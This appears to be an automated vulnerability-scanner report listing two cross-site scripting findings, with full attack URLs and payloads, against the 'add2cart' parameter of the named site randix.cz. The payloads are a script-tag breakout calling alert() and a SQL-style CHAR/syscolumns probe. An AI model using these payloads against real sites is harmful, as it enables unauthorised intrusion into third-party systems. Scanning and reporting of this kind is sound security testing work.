randix.cz

XSS (Cross-site Scripting)

Severity: Important
Confirmation: Confirmed
Vulnerable URL :  http://www.randix.cz/index.php?shopping_cart=yes&add2cart=10'"--></style></script><script>alert(0x00014B)</script>
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Parameter Name: add2cart
Parameter Type: Querystring
Attack Pattern: 10'"--></style></script><script>alert(0x00014B)</script>

|||  Permanent XSS (Cross-site Scripting)

Severity:  Important
Confirmation:  Confirmed
Vulnerable URL:  http://www.randix.cz/index.php?shopping_cart=yes&add2cart='+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79
Injection URL: http://www.randix.cz/index.php?shopping_cart=yes&add2cart=10%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Enetsparker(0x00014B)%3C%2Fscript%3E
Parameter Name: add2cart
Parameter Type: Querystring
Attack Pattern: '+ (select convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97)) FROM syscolumns) +'